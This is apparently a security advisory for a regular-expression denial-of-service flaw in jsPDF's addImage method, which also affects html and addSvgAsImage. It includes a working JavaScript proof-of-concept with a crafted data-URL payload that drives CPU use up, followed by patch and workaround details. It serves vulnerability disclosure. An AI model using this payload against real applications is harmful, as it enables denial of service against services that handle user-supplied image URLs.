jsPDF Bypass Regular Expression Denial of Service (ReDoS)

Impact

User control of the first argument of the addImage method results in CPU utilization and denial of service.

If given the possibility to pass unsanitized image urls to the addImage method, a user can provide a harmful data-url that results in high CPU utilization and denial of service.

Other affected methods are: html, addSvgAsImage.

Example payload:

import { jsPDF } from "jpsdf" 

const doc = new jsPDF();
const payload = 'data:/charset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=scharset=s\x00base64,undefined';

const startTime = performance.now()

try {
 doc.addImage(payload, "PNG", 10, 40, 180, 180, undefined, "SLOW");
} catch (err) {
  const endTime = performance.now()
  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`)
}

doc.save("a4.pdf");

Patches

The vulnerability was fixed in jsPDF 3.0.1. Upgrade to jspdf@>=3.0.1

Workarounds

Sanitize image urls before passing it to the addImage method or one of the other affected methods.

Credits

Researcher: Aleksey Solovev (Positive Technologies)